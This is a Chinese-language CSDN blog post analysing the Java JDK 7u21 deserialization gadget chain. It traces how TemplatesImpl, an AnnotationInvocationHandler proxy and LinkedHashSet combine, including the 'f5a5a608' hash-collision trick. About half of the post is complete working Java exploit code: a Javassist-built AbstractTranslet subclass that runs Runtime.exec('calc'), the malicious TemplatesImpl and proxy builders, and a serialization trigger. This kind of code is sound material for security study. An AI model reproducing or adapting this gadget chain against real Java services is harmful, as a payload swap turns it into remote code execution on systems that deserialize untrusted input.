前言
环境为Jdk<=7u21 +自带Xalan
源代码及原作者文章:
Jdk7u21.java Java 7u21 Security Advisory
代码审计 | 原理分析
1、TemplatseImpl.getOutputProperties()触发类加载
TemplatesImpl.getOutputProperties()调用了newTransformer().getOutputProperties() newTransformer()首先获取了TransformerImpl实例,传入参数前又执行了getTransletInstance()获取Translet实例 获取类实例中调用了defineTransletClasses(),这里要确保TemplatesImpl的_name非空、_class为空才能进入 defineTransletClasses中要确保TemplateImpl的_bytecodes非空 然后就开始加载_bytecodes里面的字节码,这里要确保这个类是AbstractTranslet的子类 跳出defineTransletClasses(),后面就进行实例化_bytecodes的类,因此,这里bytecodes我们只要生成一个AbstractTranslet的子类,然后在构造器或者是静态代码块写入RCE即可
设置_tfactory的作用
在我们的分析中是不需要设置_tfactory的 因为在后续版本7u80修改了判断条件需要设置这一段,在21版本不需要
下面分析怎么调用TemplateImpl.getOutputProperties()
2、动态代理调用getOutputProperties()
又要用到cc1的AnnotationInvocationHandler了,它有一个equalsImpl()方法 这里向恶意TemplatesImpl对象循环调用type类里的所有方法,恰好,TemplatesImpl的父类Template刚好有getOutputProperties()方法,因此这里我们实例化AnnotationInvocationHandler的时候要把type设置成Template类
这样就会保证调用getOutputProperties()了 然后找equalsImpl()在哪被调用,刚好在invoke调用了 根据逻辑:我们要调用代理的equals方法,传参是恶意TemplatesImpl对象,按照下图的方式就能够触发了 接着分析怎么把它和反序列化联系起来
3、LinkedHashSet反序列化触发AnnotationInvocationHandler.equals()
LinkedHashSet的父类HashSet重写了readObject(),这里将LinkedHashSet里面的各项传入了map.put 看一下put,这段代码是判断新插入的元素是否已经存在,这里就调用了equals方法 那么我们要保证key是proxy、k是恶意TemplatesImpl,看一下k的来源:k是上一个元素 那么我们要先给LinkedHashSet加入恶意TemplatesImpl、然后再加入代理proxy,就能够完成触发 if条件还有个hash判断是必须绕过的: 也就是恶意TemplatesImpl的hash要和proxy的哈希相等
绕过hash
第一次传入恶意TemplatesImpl调用的是自己的hashCode,而第二次传入proxy调用的是AnnotationInvocationHandler重写的hashCode 这个memberValues是定义Handler传入的map 看一下计算公式:127× 键哈希 ^ 值哈希 == var1== hash(TemplatesImpl)
int var1 = 0;
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
那么我们要在定义Handler传入的map令键的哈希是0,而值是恶意TemplatesImpl即可构造出 hash(TemplatesImpl) == hash(TemplatesImpl)从而绕过判断
也就是这串字符的来源:f5a5a608
复现代码
GenerateEvilByJavaassist.java:使用javaassist生成AbstractTranslet的子类
package jdk7u21;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
public class GenerateEvilByJavaassist {
static byte[] generate() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("Evil");
CtClass zuper = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(zuper);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
clazz.addConstructor(constructor);
return clazz.toBytecode();
}
}
GetTemplatesImpl.java:生成恶意TemplatesImpl类
package jdk7u21;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.lang.reflect.Field;
public class GetTemplatesImpl {
static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GenerateEvilByJavaassist.generate()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "foo");
return templates;
}
private static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
GetProxy.java:生成代理
package jdk7u21;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class GetProxy {
static Map map = new HashMap();
static Templates getProxy() throws Exception{
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(Object.class.getClassLoader(), TemplatesImpl.class.getInterfaces(), handler);
return proxy;
}
static void put(Object a, Object b){
map.put(a,b);
}
}
Manual.java:触发反序列化
package jdk7u21;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.util.LinkedHashSet;
public class Manual {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = GetTemplatesImpl.getTemplatesImpl();
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(GetProxy.getProxy());
GetProxy.put("f5a5a608", templates);
File f = File.createTempFile("temp", "out");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(set);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
Object o = ois.readObject();
System.out.println(o);
ois.close();
f.deleteOnExit();
}
}
POP链
完
欢迎关注我的CSDN :@Ho1aAs 版权属于:Ho1aAs 本文链接:https://blog.csdn.net/Xxy605/article/details/123227676 版权声明:本文为原创,转载时须注明出处及本声明
|